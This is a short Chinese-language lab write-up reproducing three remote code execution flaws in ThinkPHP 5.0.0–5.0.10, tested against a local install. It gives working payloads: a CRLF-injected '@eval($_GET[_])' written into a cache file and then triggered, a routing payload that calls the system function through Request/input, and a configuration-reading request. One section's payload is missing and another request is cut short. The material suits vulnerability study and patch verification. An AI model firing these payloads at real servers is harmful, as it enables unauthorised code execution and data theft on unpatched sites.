ThinkPHP 5.0.10 环境框架搭建
ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。
查看当前版本
环境搭建成功
缓存类导致RCE
版本
5.0.0<=ThinkPHP5<=5.0.10
测试payload
漏洞利用条件
- 基于tp5开发的代码中使用了Cache::set 进行缓存
- 在利用版本范围内
- runtime目录可以访问
创建一个生成缓存的页面
构造payload如下:
http://127.0.0.1/public/?username=syst1m%0d%0a@eval($_GET[_]);//
成功在缓存文件写入payload
http://127.0.0.1/runtime/cache/b0/68931cc450442b63f5b3d276ea4297.php?_=phpinfo();
成功执行代码
未开启强制路由导致rce
版本
5.0.0<=ThinkPHP5<=5.0.10
测试payload
5.1.x :
1 | ?s=index/\think\Request/input&filter[]=system&data=pwd |
5.0.x :
1 | ?s=index/think\config/get&name=database.username # 获取配置信息 |
当前环境版本是5.0.10,构造payload如下:
成功执行代码
method任意调用方法导致rce
版本
5.0.0<=ThinkPHP5<=5.0.10
测试payload
构造payload如下:
1 | POST /index.php?s=index HTTP/1.1 |
成功执行代码